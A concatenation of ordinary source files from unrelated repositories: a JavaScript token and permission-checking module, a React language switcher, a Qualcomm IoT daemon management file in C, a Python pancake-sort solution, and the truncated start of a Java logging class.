tokenExpired(true);
signInOpened(true);
expirationTimeout = null;
},
tokenExpirationDate() - new Date()
);
} else {
tokenExpired(true);
}
}
})();
askLoginOnTokenExpire();
tokenExpirationDate.subscribe(askLoginOnTokenExpire);
window.addEventListener('storage', function(event) {
if (event.storageArea === localStorage) {
let bearerToken = getBearerToken();
if (bearerToken !== token()) {
token(bearerToken);
}
}
}, false);
token.subscribe(function(newValue) {
localStorage.bearerToken = newValue;
cookie.setField("bearerToken", newValue);
});
var isAuthenticated = ko.computed(() => {
if (!config.userAuthenticationEnabled) {
return true;
}
return !!subject();
});
var handleAccessDenied = function(xhr) {
switch (xhr.status) {
case 401:
resetAuthParams();
break;
case 403:
refreshToken();
break;
}
}
var checkPermission = function(permission, etalon) {
// etalon may be like '*:read,write:etc'
if (!etalon || !permission) {
return false;
}
if (permission == etalon) {
return true;
}
var etalonLevels = etalon.split(':');
var permissionLevels = permission.split(':');
if (etalonLevels.length != permissionLevels.length) {
return false;
}
for (var i = 0; i < permissionLevels.length; i++) {
var pLevel = permissionLevels[i];
var eLevels = etalonLevels[i].split(',');
if (eLevels.indexOf('*') < 0 && eLevels.indexOf(pLevel) < 0) {
return false;
}
}
return true;
};
var isPermitted = function (permission) {
if (!config.userAuthenticationEnabled) {
return true;
}
var etalons = permissions();
if (!etalons) {
return false;
}
for (var i = 0; i < etalons.length; i++) {
if (checkPermission(permission, etalons[i])) {
return true;
}
}
return false;
};
function base64urldecode(arg) {
var s = arg;
s = s.replace(/-/g, '+'); // 62nd char of encoding
s = s.replace(/_/g, '/'); // 63rd char of encoding
switch (s.length % 4) // Pad with trailing '='s
{
case 0: break; // No pad chars in this case
case 2: s += "=="; break; // Two pad chars
case 3: s += "="; break; // One pad char
default: throw new Error("Illegal base64url string!");
}
return window.atob(s); // Standard base64 decoder
};
function parseJwtPayload(jwt) {
var parts = jwt.split(".");
if (parts.length != 3) {
throw new Error("JSON Web Token must have three parts");
}
var payload = base64urldecode(parts[1]);
return $.parseJSON(payload);
};
var refreshTokenPromise = null;
var isPromisePending = function(p) {
return p && typeof p === 'object' && typeof p.status === 'function' && p.status() === 'pending';
}
var refreshToken = function() {
if (!isPromisePending(refreshTokenPromise)) {
refreshTokenPromise = httpService.doGet(getServiceUrl() + "user/refresh");
refreshTokenPromise.then(({ data, headers }) => {
setAuthParams(headers.get(TOKEN_HEADER), data.permissions);
});
refreshTokenPromise.catch(() => {
resetAuthParams();
});
}
return refreshTokenPromise;
}
var isPermittedCreateConceptset = function() {
return isPermitted('conceptset:post');
}
var isPermittedReadConceptsets = function () {
return isPermitted('conceptset:get');
};
var isPermittedUpdateConceptset = function(conceptsetId) {
return (isPermitted('conceptset:' + conceptsetId + ':put') && isPermitted('conceptset:' + conceptsetId + ':items:put')) || (isPermitted('conceptset:*:put') && isPermitted('conceptset:*:items:put'));
};
var isPermittedDeleteConceptset = function(id) {
return isPermitted('conceptset:' + id + ':delete');
};
var isPermittedReadIRs = function () {
return isPermitted('ir:get');
};
var isPermittedEditIR = function (id) {
return isPermitted('ir:' + id + ':put');
};
var isPermittedCreateIR = function () {
return isPermitted('ir:post');
};
var isPermittedDeleteIR = function(id) {
return isPermitted('ir:' + id + ':delete');
};
var isPermittedCopyIR = function(id) {
return isPermitted('ir:' + id + ':copy:get');
};
var isPermittedReadEstimations = function () {
return isPermitted('comparativecohortanalysis:get');
};
var isPermittedEditSourcePriortiy = function() {
return isPermitted('source:*:daimons:*:set-priority:post')
};
var isPermittedReadEstimation = function (id) {
return isPermitted('comparativecohortanalysis:' + id + ':get');
};
var isPermittedCreateEstimation = function() {
return isPermitted('comparativecohortanalysis:post');
};
const isPermittedDeleteEstimation = function(id) {
return isPermitted(`comparativecohortanalysis:${id}:delete`);
}
var isPermittedReadPlps = function() {
return isPermitted('plp:get');
};
var isPermittedCreatePlp = function () {
return isPermitted('plp:post');
};
var isPermittedReadPlp = function(id) {
return isPermitted('plp:' + id + ':get');
};
var isPermittedDeletePlp = function(id) {
return isPermitted('plp:' + id + ':delete');
};
var isPermittedCopyPlp = function(id) {
return isPermitted(`plp:${id}:copy:get`);
}
var isPermittedSearch = function() {
return isPermitted('vocabulary:*:search:*:get');
};
var isPermittedViewCdmResults = function () {
return isPermitted('cdmresults:*:get');
};
var isPermittedViewProfiles = function (sourceKey) {
return isPermitted(`${sourceKey}:person:*:get`);
};
var isPermittedViewProfileDates = function() {
return isPermitted('*:person:*:get:dates');
};
var isPermittedReadCohort = function(id) {
return isPermitted('cohortdefinition:' + id + ':get') && isPermitted('cohortdefinition:sql:post');
}
var isPermittedReadCohorts = function() {
return isPermitted('cohortdefinition:get');
}
var isPermittedCreateCohort = function() {
return isPermitted('cohortdefinition:post');
}
var isPermittedCopyCohort = function(id) {
return isPermitted('cohortdefinition:' + id + ':copy:get');
}
var isPermittedUpdateCohort = function(id) {
var permission = 'cohortdefinition:' + id + ':put';
return isPermitted(permission);
}
var isPermittedDeleteCohort = function(id) {
var permission = 'cohortdefinition:' + id + ':delete';
var allPermissions = 'cohortdefinition:delete';
return isPermitted(permission) || isPermitted(allPermissions);
}
var isPermittedGenerateCohort = function(cohortId, sourceKey) {
return isPermitted('cohortdefinition:' + cohortId + ':generate:' + sourceKey + ':get') &&
isPermitted('cohortdefinition:' + cohortId + ':info:get');
}
var isPermittedReadCohortReport = function(cohortId, sourceKey) {
return isPermitted('cohortdefinition:' + cohortId + ':report:' + sourceKey + ':get');
}
var isPermittedReadJobs = function() {
return isPermitted('job:execution:get');
}
var isPermittedEditConfiguration = function() {
return isPermitted('configuration:edit:ui')
}
var isPermittedCreateSource = function() {
return isPermitted('source:post');
}
var isPermittedReadSource = function(key) {
return isPermitted('source:' + key + ':get');
}
var isPermittedCheckSourceConnection = function(key) {
return isPermitted('source:connection:' + key + ':get');
}
var isPermittedEditSource = function(key) {
return isPermitted('source:' + key + ':put');
}
var isPermittedDeleteSource = function(key) {
return isPermitted('source:' + key + ':delete');
}
var isPermittedReadRoles = function() {
return isPermitted('role:get');
}
var isPermittedReadRole = function (roleId) {
var permitted =
isPermitted('role:' + roleId + ':get') &&
isPermitted('permission:get') &&
isPermitted('role:' + roleId + ':permissions:get') &&
isPermitted('user:get') &&
isPermitted('role:' + roleId + ':users:get');
return permitted;
}
var isPermittedEditRole = function(roleId) {
return isPermitted('role:' + roleId + ':put');
}
var isPermittedCreateRole = function() {
return isPermitted('role:post');
}
var isPermittedDeleteRole = function(roleId) {
return isPermitted('role:' + roleId + ':delete');
}
var isPermittedEditRoleUsers = function(roleId) {
return isPermitted('role:' + roleId + ':users:*:put') && isPermitted('role:' + roleId + ':users:*:delete');
}
var isPermittedEditRolePermissions = function(roleId) {
return isPermitted('role:' + roleId + ':permissions:*:put') && isPermitted('role:' + roleId + ':permissions:*:delete');
}
const isPermittedGetAllNotifications = function() {
return isPermitted('notifications:get');
};
const isPermittedGetViewedNotifications = function() {
return isPermitted('notifications:viewed:get');
};
const isPermittedPostViewedNotifications = function() {
return isPermitted('notifications:viewed:post');
};
const isPermittedGetExecutionService = function() {
return isPermitted('executionservice:*:get');
};
const isPermittedGetSourceDaimonPriority = function() {
return isPermitted('source:daimon:priority:get');
};
const isPermittedImportUsers = function() {
return isPermitted('user:import:post') && isPermitted('user:import:*:post');
}
const hasSourceAccess = function (sourceKey) {
return isPermitted(`source:${sourceKey}:access`) || /* For 2.5.* and below */ isPermitted(`cohortdefinition:*:generate:${sourceKey}:get`);
}
const isPermittedClearServerCache = function (sourceKey) {
return isPermitted(`cache:clear:get`);
};
const isPermittedRunAs = () => isPermitted('user:runas:post');
const isPermittedViewDataSourceReport = sourceKey => isPermitted(`cdmresults:${sourceKey}:*:get`);
const isPermittedViewDataSourceReportDetails = sourceKey => isPermitted(`cdmresults:${sourceKey}:*:*:get`);
const setAuthParams = (tokenHeader, permissionsStr = '') => {
!!tokenHeader && token(tokenHeader);
!!permissionsStr && permissions(permissionsStr.split('|'));
};
var resetAuthParams = function () {
token(null);
subject(null);
permissions(null);
};
const runAs = function(login, success, error) {
return $.ajax({
method: 'POST',
url: config.webAPIRoot + 'user/runas',
data: {
login,
},
success,
error,
});
};
var api = {
AUTH_PROVIDERS: AUTH_PROVIDERS,
AUTH_CLIENTS: AUTH_CLIENTS,
token: token,
authClient: authClient,
subject: subject,
fullName,
tokenExpirationDate: tokenExpirationDate,
tokenExpired: tokenExpired,
authProvider: authProvider,
setAuthParams: setAuthParams,
resetAuthParams: resetAuthParams,
getAuthorizationHeader: getAuthorizationHeader,
handleAccessDenied: handleAccessDenied,
refreshToken: refreshToken,
isAuthenticated: isAuthenticated,
signInOpened: signInOpened,
isPermitted: isPermitted,
isPermittedGetAllNotifications: isPermittedGetAllNotifications,
isPermittedGetViewedNotifications: isPermittedGetViewedNotifications,
isPermittedPostViewedNotifications: isPermittedPostViewedNotifications,
isPermittedCreateConceptset: isPermittedCreateConceptset,
isPermittedUpdateConceptset: isPermittedUpdateConceptset,
isPermittedDeleteConceptset: isPermittedDeleteConceptset,
isPermittedReadConceptsets: isPermittedReadConceptsets,
isPermittedReadCohorts: isPermittedReadCohorts,
isPermittedReadCohort: isPermittedReadCohort,
isPermittedCreateCohort: isPermittedCreateCohort,
isPermittedCopyCohort: isPermittedCopyCohort,
isPermittedUpdateCohort: isPermittedUpdateCohort,
isPermittedDeleteCohort: isPermittedDeleteCohort,
isPermittedGenerateCohort: isPermittedGenerateCohort,
isPermittedReadCohortReport: isPermittedReadCohortReport,
isPermittedReadJobs: isPermittedReadJobs,
isPermittedEditConfiguration: isPermittedEditConfiguration,
isPermittedEditSourcePriority: isPermittedEditSourcePriortiy,
isPermittedReadRoles: isPermittedReadRoles,
isPermittedReadRole: isPermittedReadRole,
isPermittedEditRole: isPermittedEditRole,
isPermittedCreateRole: isPermittedCreateRole,
isPermittedDeleteRole: isPermittedDeleteRole,
isPermittedEditRoleUsers: isPermittedEditRoleUsers,
isPermittedEditRolePermissions: isPermittedEditRolePermissions,
isPermittedReadIRs: isPermittedReadIRs,
isPermittedCreateIR: isPermittedCreateIR,
isPermittedEditIR: isPermittedEditIR,
isPermittedDeleteIR: isPermittedDeleteIR,
isPermittedCopyIR,
isPermittedReadEstimations: isPermittedReadEstimations,
isPermittedReadEstimation: isPermittedReadEstimation,
isPermittedCreateEstimation: isPermittedCreateEstimation,
isPermittedDeleteEstimation,
isPermittedReadPlps: isPermittedReadPlps,
isPermittedReadPlp: isPermittedReadPlp,
isPermittedCreatePlp: isPermittedCreatePlp,
isPermittedDeletePlp: isPermittedDeletePlp,
isPermittedCopyPlp: isPermittedCopyPlp,
isPermittedSearch: isPermittedSearch,
isPermittedViewCdmResults: isPermittedViewCdmResults,
isPermittedViewProfiles: isPermittedViewProfiles,
isPermittedViewProfileDates: isPermittedViewProfileDates,
isPermittedReadSource: isPermittedReadSource,
isPermittedCreateSource: isPermittedCreateSource,
isPermittedEditSource: isPermittedEditSource,
isPermittedDeleteSource: isPermittedDeleteSource,
isPermittedCheckSourceConnection: isPermittedCheckSourceConnection,
isPermittedGetSourceDaimonPriority: isPermittedGetSourceDaimonPriority,
isPermittedGetExecutionService: isPermittedGetExecutionService,
isPermittedImportUsers,
hasSourceAccess,
isPermittedRunAs,
isPermittedClearServerCache,
isPermittedViewDataSourceReport,
isPermittedViewDataSourceReportDetails,
loadUserInfo,
TOKEN_HEADER,
runAs,
};
return api;
});
|
MehfoozurRehman/Aida-Pro-Website | src/Components/LanguagePanel.js | import { germany, unitedstates } from "Assets";
import React from "react";
import Img from "react-cool-img";
export default function LanguagePanel({
setLanguageSelected,
setIsLanguagePanelOpen,
}) {
return (
<div className="header__language__panel animate__animated animate__fadeIn">
<button
title="En language"
className="language__btn"
onClick={() => {
setLanguageSelected("en");
setIsLanguagePanelOpen(false);
}}
>
<Img
loading="lazy"
src={unitedstates}
alt="flag"
className="language__btn__icon"
/>
<div className="language__btn__name">EN</div>
</button>
<button
title="De language"
className="language__btn"
onClick={() => {
setLanguageSelected("de");
setIsLanguagePanelOpen(false);
}}
>
<Img
loading="lazy"
src={germany}
alt="flag"
className="language__btn__icon"
/>
<div className="language__btn__name">DE</div>
</button>
</div>
);
}
|
r8d8/lastlock | QCA4020_SDK/target/exthost/Linux/daemon/iotd/iotdManager.c | /*
* Copyright (c) 2018 Qualcomm Technologies, Inc.
* All Rights Reserved.
*/
// Copyright (c) 2018 Qualcomm Technologies, Inc.
// All rights reserved.
// Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the limitations in the disclaimer below)
// provided that the following conditions are met:
// Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// Neither the name of Qualcomm Technologies, Inc. nor the names of its contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
// NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
// BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
// IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
// OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
// EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <mqueue.h>
#include <pthread.h>
#include <time.h>
#include <syslog.h>
#include <errno.h>
#include <signal.h>
#include "iotd_context.h"
#include "mml.h"
#include "bufpool.h"
#include "iotdManager.h"
#include "ipcManager.h"
#include "qsCommon.h"
#include "qapi_ver.h"
#include "unistd.h"
/****************************************************************************************************/
extern int run_daemon;
/****************************************************************************************************/
static void *build_iotdMgmt_cmdPacket(void* pCxt, uint8_t cmd, uint8_t* cmd_buf, uint16_t cmd_buf_size);
/****************************************************************************************************/
/****************************************************************************************************/
/*
* Function:
* Input:
* Returns:
*
*/
static void *build_iotdMgmt_cmdPacket(void* pCxt, uint8_t cmd, uint8_t* cmd_buf, uint16_t cmd_buf_size)
{
IOTDMGMT_CXT_T* pMgmtCxt = GET_MGMT_CXT(pCxt);
int pkt_size;
uint8_t *ptr, *ptr_buf;
pkt_size = QS_IOTD_HEADER_LEN + sizeof(cmd) + cmd_buf_size;
while(1)
{
if( (ptr = (uint8_t *)buf_alloc(pkt_size)) != NULL )
break;
usleep(1000);
}
ptr_buf = ptr;
/* init header */
memset(ptr, 0, QS_IOTD_HEADER_LEN);
/* HTC Header */
WRITE_UNALIGNED_LITTLE_ENDIAN_UINT16((uint16_t *) ptr_buf, pkt_size);
/* MML Heater */
ptr_buf += HTC_HEADER_LEN;
WRITE_UNALIGNED_LITTLE_ENDIAN_UINT8(ptr_buf, pMgmtCxt->map.q_id[0]);
ptr_buf = ptr+ QS_IOTD_HEADER_LEN;
/* fill packet */
/* set command */
WRITE_UNALIGNED_LITTLE_ENDIAN_UINT8( ptr_buf, cmd);
if( cmd_buf_size > 0 )
memcpy(ptr_buf + sizeof(cmd), cmd_buf, cmd_buf_size);
return ptr;
}
static void iotdManagement_Timer_Callback (union sigval sig_val)
{
IOTD_CXT_T* iotdCxt = (IOTD_CXT_T*) sig_val.sival_ptr;
send_server_exit(iotdCxt, QS_TARGET_ASSERT);
IOTD_LOG (LOG_TYPE_CRIT,"Iotd Manager fail to get Heart Beat from target \n");
sleep(1);
run_daemon = 0;
}
/*
* Function: iotdManagement_Timer_Create
* Input: IOTD Context
* Returns:
*
*/
static int32_t iotdManagement_Timer_Create(void* pCxt)
{
IOTD_CXT_T* iotdCxt = (IOTD_CXT_T*)pCxt;
IOTDMGMT_CXT_T* pMgmtCxt = GET_MGMT_CXT(iotdCxt);
cfg_ini* cfg = &(iotdCxt->cfg);
struct sigevent timer_se;
struct itimerspec ts;
timer_se.sigev_notify = SIGEV_THREAD;
timer_se.sigev_value.sival_ptr = pCxt;
timer_se.sigev_notify_attributes = NULL;
timer_se.sigev_notify_function = iotdManagement_Timer_Callback;
/* create timer to monitor heart beat */
if( timer_create(CLOCK_REALTIME, &timer_se, &(pMgmtCxt->timer_id)) != 0 )
{
IOTD_LOG(LOG_TYPE_CRIT,"Iotd Manager: Fail to create timer\n");
return IOTD_ERROR;
}
ts.it_value.tv_sec = cfg->config_system.heart_beat_interval;
ts.it_value.tv_nsec = 0;
ts.it_interval.tv_sec = 0;
ts.it_interval.tv_nsec = 0;
timer_settime(pMgmtCxt->timer_id, 0, &ts, 0);
return IOTD_OK;
}
/*
* Function: iotdManagement_thread
* Input: IOTD context
* Returns:
*
*/
void* iotdManagement_thread(void* arg)
{
IOTD_CXT_T* iotdCxt = (IOTD_CXT_T*)arg;
IOTDMGMT_CXT_T* pMgmtCxt = GET_MGMT_CXT(iotdCxt);
cfg_ini* cfg = &(iotdCxt->cfg);
struct itimerspec ts;
qapi_FW_Ver_t *ver;
uint8_t *buf = NULL;
uint8_t q_id = 0;
int i = 0;
if(!pMgmtCxt)
{
pthread_exit(arg);
}
IOTD_LOG(LOG_TYPE_INFO,"Starting iotdManagement_thread\n");
/* send hello to target */
if( iotdManagement_Cmd_Hello(iotdCxt) != IOTD_OK )
{
IOTD_LOG(LOG_TYPE_CRIT,"Command Send Failed\n");
pthread_exit(arg);
}
while(1)
{
sem_wait(&(pMgmtCxt->rx_sem));
/*Iterate through all the queues that are associated with this interface*/
for(i = 0; i < pMgmtCxt->map.num_q; i++)
{
/* Get queue ID from the registered service QIDs */
q_id = GET_Q_ID(pMgmtCxt->map.q_id[i]);
while((buf = mml_dequeue(iotdCxt, q_id, IOTD_DIRECTION_RX)) != NULL)
{
uint8_t cmdType = GET_MGMT_CMD_TYPE(buf);
//IOTD_LOG(0,"Iotd Manager: Command %d, status: %d\n",cmdType, GET_MGMT_RESP_STATUS(buf));
switch(cmdType)
{
case MGMT_MSG_HELLO:
ver = (qapi_FW_Ver_t *) &buf[MGMT_CMD_TYPE_OFFSET+2];
pMgmtCxt->target_ver.qapi_Version_Number = READ_UNALIGNED_LITTLE_ENDIAN_UINT32(&ver->qapi_Version_Number);
pMgmtCxt->target_ver.crm_Build_Number = READ_UNALIGNED_LITTLE_ENDIAN_UINT32(&ver->crm_Build_Number);
IOTD_LOG(LOG_TYPE_CRIT, "Iotd Manager: Recv MGMT_MSG_HELLO resp\n");
IOTD_LOG(LOG_TYPE_CRIT, "Target QAPI Ver: %d.%d.%d CRM Num: %d\n",
(ver->qapi_Version_Number&__QAPI_VERSION_MAJOR_MASK)>>__QAPI_VERSION_MAJOR_SHIFT,
(ver->qapi_Version_Number&__QAPI_VERSION_MINOR_MASK)>>__QAPI_VERSION_MINOR_SHIFT,
(ver->qapi_Version_Number&__QAPI_VERSION_NIT_MASK)>>__QAPI_VERSION_NIT_SHIFT,
pMgmtCxt->target_ver.crm_Build_Number);
pthread_mutex_lock(&pMgmtCxt->lock);
pMgmtCxt->target_initialized = 1;
pthread_cond_signal(&pMgmtCxt->cond);
pthread_mutex_unlock(&pMgmtCxt->lock);
break;
case MGMT_MSG_RESET:
//IOTD_LOG(0, "Iotd Manager: Recv MGMT_MSG_RESET resp\n");
break;
case MGMT_MSG_GET_STATUS:
pMgmtCxt->target_status = (uint8_t) buf[MGMT_CMD_TYPE_OFFSET+2];
//IOTD_LOG(0, "Iotd Manager: Recv MGMT_MSG_GET_STATUS resp\n");
break;
case MGMT_MSG_GET_VERSION:
pMgmtCxt->target_ver.qapi_Version_Number = READ_UNALIGNED_LITTLE_ENDIAN_UINT32((&buf[MGMT_CMD_TYPE_OFFSET+2]));
pMgmtCxt->target_ver.crm_Build_Number = READ_UNALIGNED_LITTLE_ENDIAN_UINT32((&buf[MGMT_CMD_TYPE_OFFSET+2+4]));
//IOTD_LOG(0, "Iotd Manager: Recv MGMT_MSG_GET_VERSION resp\n");
break;
case MGMT_MSG_HEART_BEAT:
if( pMgmtCxt->timer_start != 0 ) {
/* receive heart beat from target, reset monitor timer */
ts.it_value.tv_sec = cfg->config_system.heart_beat_interval;
ts.it_value.tv_nsec = 0;
ts.it_interval.tv_sec = 0;
ts.it_interval.tv_nsec = 0;
timer_settime(pMgmtCxt->timer_id, 0, &ts, 0);
}
//IOTD_LOG(0, "Iotd Manager: Recv HB\n");
break;
case MGMT_MSG_ECHO:
/* receive echo response */
pMgmtCxt->recv_len = pMgmtCxt->buf_len;
/* echo response format */
/* cmd : 1 Byte */
/* status: 1 Byte */
/* echo mode: 1 Byte */
/* ....: echo data */
if( pMgmtCxt->test_mode == IOTD_TEST_ECHO_MODE_LOOPBACK ) {
memcpy(pMgmtCxt->buf_r, buf+QS_IOTD_HEADER_LEN+2, pMgmtCxt->recv_len);
pthread_cond_signal(&pMgmtCxt->cond);
}
//IOTD_LOG(0, "Iotd Manager: ECHO\n");
break;
case MGMT_MSG_DBG:
{
char* data = GET_MGMT_RESP_DATA(buf);
printf("QZ LOG: %s\n",data);
break;
}
default:
//IOTD_LOG(0,"Iotd Manager: Invalid command %d\n",cmdType);
break;
}
buf_free(buf);
buf = NULL;
}
}
}
}
/*
* Function: iotdManagement_queue_init
* Input: IOTD Context
* Returns:
*
*/
static int32_t iotdManagement_queue_init(void* pCxt)
{
IOTD_CXT_T* cxt = (IOTD_CXT_T*)pCxt;
IOTDMGMT_CXT_T* pMgmtCxt = GET_MGMT_CXT(cxt);
uint8_t q_id = 0;
int i;
for(i=0; i<pMgmtCxt->map.num_q; i++)
{
/* Get queue ID from the registered service QIDs */
q_id = GET_Q_ID(pMgmtCxt->map.q_id[i]);
if(IOTD_OK != mml_open_q(pMgmtCxt->iotd_cxt, q_id, IOTD_DIRECTION_RX, &(pMgmtCxt->rx_sem)))
{
return IOTD_ERROR;
}
}
return IOTD_OK;
}
/*
* Function: iotdManagement_Cmd_Reset
* Input: IOTD context
* Returns: IOTD_OK/IOTD_ERROR
*
*/
int32_t iotdManagement_Cmd_Reset(void* pCxt)
{
void *rxBuf = build_iotdMgmt_cmdPacket(pCxt, (uint8_t)MGMT_MSG_RESET, NULL, 0);
if( rxBuf == NULL) return IOTD_ERROR;
if(IOTD_OK != mml_enqueue(pCxt, rxBuf, IOTD_DIRECTION_TX))
{
IOTD_LOG(LOG_TYPE_CRIT,"Iotd Manager: Send cmd reset failed\n");
return IOTD_ERROR;
}
IOTD_LOG(LOG_TYPE_CRIT,"Iotd Manager: Send cmd reset\n");
return IOTD_OK;
}
/*
* Function: iotdManagement_Cmd_GetStatus
* Input: IOTD context
* Returns: IOTD_OK/IOTD_ERROR
*
*/
int32_t iotdManagement_Cmd_GetStatus(void* pCxt)
{
void *rxBuf = build_iotdMgmt_cmdPacket(pCxt, (uint8_t)MGMT_MSG_GET_STATUS, NULL, 0);
if( rxBuf == NULL) return IOTD_ERROR;
if(IOTD_OK != mml_enqueue(pCxt, rxBuf, IOTD_DIRECTION_TX))
{
IOTD_LOG(LOG_TYPE_CRIT,"Iotd Manager: Send cmd GetStatus failed\n");
return IOTD_ERROR;
}
IOTD_LOG(LOG_TYPE_CRIT,"Iotd Manager: send cmd GetStatus\n");
return IOTD_OK;
}
/*
* Function: iotdManagement_Cmd_Echo
* Input: IOTD Context
*
* echo_buf: echo data within echo command to send
* echo_buf[0]: ---- echo parameter
* 0 : target need echo
* 1 : target drop the packet and response
* echo_buf_size: echo data length to send
*
* Returns:
*
*/
int32_t iotdManagement_Cmd_Echo(void* pCxt, uint8_t* echo_buf, uint16_t echo_buf_size)
{
void *rxBuf = build_iotdMgmt_cmdPacket(pCxt, (uint8_t)MGMT_MSG_ECHO,echo_buf, echo_buf_size);
if( rxBuf == NULL) return IOTD_ERROR;
if(IOTD_OK != mml_enqueue(pCxt, rxBuf, IOTD_DIRECTION_TX))
{
IOTD_LOG(LOG_TYPE_CRIT,"Iotd Manager: Send Echo Cmd failed\n");
return IOTD_ERROR;
}
//IOTD_LOG(0,"Iotd Manager: Send Echo Cmd\n");
return IOTD_OK;
}
/*
* Function: iotdManagement_Cmd_Hello
* Input: IOTD Context
* Returns:
*
*/
int32_t iotdManagement_Cmd_Hello(void* pCxt)
{
void *rxBuf = build_iotdMgmt_cmdPacket(pCxt, (uint8_t)MGMT_MSG_HELLO, NULL, 0);
if( rxBuf == NULL) return IOTD_ERROR;
if(IOTD_OK != mml_enqueue(pCxt, rxBuf, IOTD_DIRECTION_TX))
{
IOTD_LOG(LOG_TYPE_CRIT,"Iotd Manager: Send cmd hello failed\n");
return IOTD_ERROR;
}
IOTD_LOG(LOG_TYPE_INFO,"Iotd Manager: Send cmd hello\n");
return IOTD_OK;
}
/*
* Function: iotdManagement_init
* Input: IOTD context
* Returns: IOTD_OK/IOTD_ERROR
*
*/
int32_t iotdManagement_init(void* pCxt)
{
struct timespec time_to_wait = {0, 0};
IOTD_CXT_T* iotdCxt = (IOTD_CXT_T*)pCxt;
IOTDMGMT_CXT_T* pMgmtCxt = GET_MGMT_CXT(iotdCxt);
cfg_ini* cfg;
int i;
if(iotdCxt == NULL)
{
return IOTD_ERROR;
}
pMgmtCxt->run_once = 0;
cfg = &(iotdCxt->cfg);
memset(pMgmtCxt, 0, sizeof(IOTDMGMT_CXT_T));
pMgmtCxt->iotd_cxt = iotdCxt;
/* Initialize module rx semaphore */
sem_init(&(pMgmtCxt->rx_sem), 0, 1);
pthread_mutex_init(&pMgmtCxt->lock, NULL);
pthread_cond_init(&pMgmtCxt->cond, NULL);
/* Get info from config file*/
pMgmtCxt->map.num_q = cfg->config_mgmt.num_service_q;
for(i = 0; i < pMgmtCxt->map.num_q; i++){
pMgmtCxt->map.q_id[i] = cfg->config_mgmt.qid[i];
}
/* Set other q_id to 255 to indicate that these aren't used */
for(i = pMgmtCxt->map.num_q; i < IOTD_MAX_NUM_Q; i++){
pMgmtCxt->map.q_id[i] = 255;
}
/***********************************************************/
if(IOTD_OK != iotdManagement_queue_init(pCxt))
{
IOTD_LOG(LOG_TYPE_CRIT,"Iotd Manager: Queue initialization failed\n");
exit(1);
}
/* Initialize thread to process management packets */
if(pthread_create(&(pMgmtCxt->mgmt_thread),NULL, iotdManagement_thread, pCxt) != 0)
{
perror("Iotd Manager: Thread creation failed\n");
exit(1);
}
/* wait hello response from target */
pthread_mutex_lock(&pMgmtCxt->lock);
while(!pMgmtCxt->target_initialized)
{
time_to_wait.tv_sec = time(NULL) + 30;
if(pthread_cond_timedwait(&pMgmtCxt->cond, &pMgmtCxt->lock, &time_to_wait) != 0 )
{
IOTD_LOG (LOG_TYPE_CRIT,"Iotd Manager fail to get response from target \n");
pthread_mutex_unlock(&pMgmtCxt->lock);
return IOTD_ERROR;
}
}
pthread_mutex_unlock(&pMgmtCxt->lock);
if(cfg->config_system.heart_beat_enable)
{
if(iotdManagement_Timer_Create(pCxt) != IOTD_OK )
{
perror("Iotd Manager: Timer creation failed\n");
exit(1);
}
pMgmtCxt->timer_start = 1;
IOTD_LOG(LOG_TYPE_INFO,"Heart Beat Monitor is enabled\n");
} else {
pMgmtCxt->timer_start = 0;
IOTD_LOG(LOG_TYPE_INFO,"Heart Beat Monitor is disabled\n");
}
IOTD_LOG (LOG_TYPE_INFO,"Iotd Manager initialized.\n");
return IOTD_OK;
}
/*
* Function: iotdManagement_deinit
* Input: IOTD context
* Returns: IOTD_OK/IOTD_ERROR
*
*/
int32_t iotdManagement_deinit(void* pCxt)
{
IOTD_CXT_T* iotdCxt = (IOTD_CXT_T*)pCxt;
IOTDMGMT_CXT_T* pMgmtCxt = GET_MGMT_CXT(iotdCxt);
if(pMgmtCxt->mgmt_thread)
pthread_cancel(pMgmtCxt->mgmt_thread);
if(pMgmtCxt->timer_start)
{
timer_delete(pMgmtCxt->timer_id);
pMgmtCxt->timer_start = 0;
}
pthread_mutex_destroy(&pMgmtCxt->lock);
pthread_cond_destroy(&pMgmtCxt->cond);
IOTD_LOG (LOG_TYPE_INFO,"Iotd Manager deinit\n");
return IOTD_OK;
}
|
YiqunPeng/leetcode_pro | solutions/969_pancake_sorting.py | class Solution:
def pancakeSort(self, arr: List[int]) -> List[int]:
"""Array.
Running time: O(n) where n is the length of arr.
"""
res = []
n = len(arr)
for i in range(n, 0, -1):
pos = arr.index(i)
if pos == i - 1:
continue
res.append(pos + 1)
res.append(i)
arr = arr[pos+1:i][::-1] + arr[:pos+1]
return res
|
PinoEire/archi | com.archimatetool.commandline/src/com/archimatetool/commandline/AbstractCommandLineProvider.java | <gh_stars>100-1000
/**
* This program and the accompanying materials
* are made available under the terms of the License
* which accompanies this distribution in the file LICENSE.txt
*/
package com.archimatetool.commandline;
/**
* Abstract CommandLineProvider
*
* @author <NAME>
*/
public abstract class AbstractCommandLineProvider implements ICommandLineProvider {
public boolean doLog = true;
protected void logMessage(String message) {
if(doLog) {
System.out.println(getLogPrefix() + " " + message); //$NON-NLS-1$
}
}
protected void logError(String message) {
if(doLog) {
System.err.println(getLogPrefix() + " " + message); //$NON-NLS-1$
}
}
